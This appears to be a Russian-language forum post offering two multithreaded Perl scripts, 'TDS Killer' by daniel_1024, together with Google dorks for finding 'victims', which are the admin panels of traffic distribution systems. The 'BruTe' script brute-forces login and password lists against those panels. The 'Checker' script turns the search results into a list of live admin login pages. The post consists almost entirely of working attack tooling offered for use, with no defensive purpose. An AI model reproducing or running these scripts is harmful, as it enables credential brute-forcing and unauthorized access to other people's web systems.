В файл tds.txt кладутся сами url`ы до админок TDS, в login.txt и pass.txt - логины и пароли для перебора соответственно.
Дорки для поиска жертв в Goolge:
Simple TDS - "inurl:go.php?sid="
Advanced TDS - "out.php?s_id="
BruTe
Код:
#!/usr/bin/perl -w use threads; use threads::shared; use LWP::Simple; $| = 1; my $num : shared; $num = 0; my @tds : shared; my @tds_brute : shared; my @tmp : shared; ############################################## my $thr = 20; my $tds_type = 0; #0 - Simple TDS; 1 - Advanced TDS ############################################## my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a"); $ua->timeout(5); print "-----------------------------------------------------------------\n"; print " [TDS Killer] coded by daniel_1024\n"; print "-----------------------------------------------------------------\n"; if ($tds_type == 0) { print "[*] TDS type: Simple TDS\n"; } elsif ($tds_type == 1) { print "[*] TDS type: Advanced TDS\n"; } open(F, "pass.txt"); while (<F>) { chomp; push(@pass, $_); } close(F); $passsize = @pass; open(F, "tds.txt"); while (<F>) { chomp; push(@tds, $_); } close(F); $size = @tds; $fff = localtime(); print "[*] Brute started at $fff\n[*] Sites loaded: $size\n[*] Passwords loaded: $passsize\n"; sub brute { while (@tds_brute) { { lock @tds_brute; $curr = shift @tds_brute; } if ($tds_type == 0) { ($tmphost, $tmp_pass) = split(/\|/, $curr); $resp = $ua->post($tmphost,['pass'=>$tmp_pass],)->as_string; } elsif ($tds_type == 1) { ($tmphost, $tmp_pass, $tmp_log) = split(/\|/, $curr); $resp = $ua->post($tmphost,['login'=>$tmp_log, 'pass'=>$tmp_pass, 'submit'=>'Login'],)->as_string; } if ($resp =~ m/$word/) { if ($tds_type == 0) { print "[!] Host: $tmphost Password: $tmp_pass\n"; } elsif ($tds_type == 1) { print "[!] Host: $tmphost Login: $tmp_log Password: $tmp_pass\n"; } } { lock $num; $num++; } $now = time(); $sec = $now-$start+1; $speed = sprintf("%.0f", $num/$sec); $proc = sprintf("%.1f", ($num/$size)*100); print "Status $proc% Speed: $speed pps\r"; } } if ($tds_type == 0) { for $tmppass (@pass) { for $tmpurl (@tds) { my $tmp01 = $tmpurl.'|'.$tmppass; push(@tds_brute, $tmp01); } } } elsif ($tds_type == 1) { open(F,"login.txt"); while (<F>) { if ($_) { chomp; push(@logins,$_); } } close(F); $logsize = @logins; for $tmplog (@logins) { for $tmppass (@pass) { for $tmpurl (@tds) { my $tmp01 = $tmpurl.'|'.$tmppass.'|'.$tmplog; push(@tds_brute, $tmp01); } } } } $size = @tds_brute; $num = 0; $start = time(); if ($tds_type == 0) { $word = "Simple TDS"; } elsif ($tds_type == 1) { $word = "Admin Area"; print "[*] Logins loaded: $logsize\n";} for(0..$thr) { $trl[$_] = threads->create(\&brute); } for(0..$thr) { $trl[$_]->join; } $fff = localtime(); print "\n[*] Brute finished at $fff\n";
Checker
Код:
#!/usr/bin/perl -w use threads; use threads::shared; use LWP::Simple; $| = 1; my $num : shared; my @tds : shared; my @tmp : shared; ############################################## my $thr = 20; my $tds_type = 0; #0 - Simple TDS; 1 - Advanced TDS ############################################## my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a"); $ua->timeout(5); print "-----------------------------------------------------------------\n"; print " [TDS Killer] coded by daniel_1024\n"; print "-----------------------------------------------------------------\n"; if ($tds_type == 0) { print "[*] TDS type: Simple TDS\n"; } elsif ($tds_type == 1) { print "[*] TDS type: Advanced TDS\n"; } open(F, "tds.txt"); while (<F>) { chomp; push(@tds, $_); } close(F); $size = @tds; $num = 0; print "[*] Sites loaded: $size\n"; if ($tds_type == 0) { $dork = "go.php?sid="; $key = 'Password: <input name="pass" type="password"'; } elsif ($tds_type == 1) { $dork = "out.php?s_id="; $key = "Authorization"; } for(0..$thr) { $trl[$_] = threads->create(\&check); } for(0..$thr) { $trl[$_]->join; } open(H, ">tds.txt"); truncate(H, tell(H)); close(H); open(F, ">>tds.txt"); print F "$_\n" for @tmp; close(F); @tds = @tmp; sub check { while (@tds) { { lock @tds; $curr = shift @tds; } if (index($curr, $dork) != -1) { if ($tds_type == 1) { $curr =~ s/out.php\?s_id=.*/r_admin\/index.php/; } elsif ($tds_type == 0) { $curr =~ s/go.php\?sid=.*/index.php/; } $resp = $ua->get($curr)->as_string; if ($resp =~ m/$key/) { { lock @tmp; ; push(@tmp, $curr); } { lock $num; $num++; } } } print "[*] Found $num TDS...\r"; } } print "\n[*] Saved in tds.txt\n";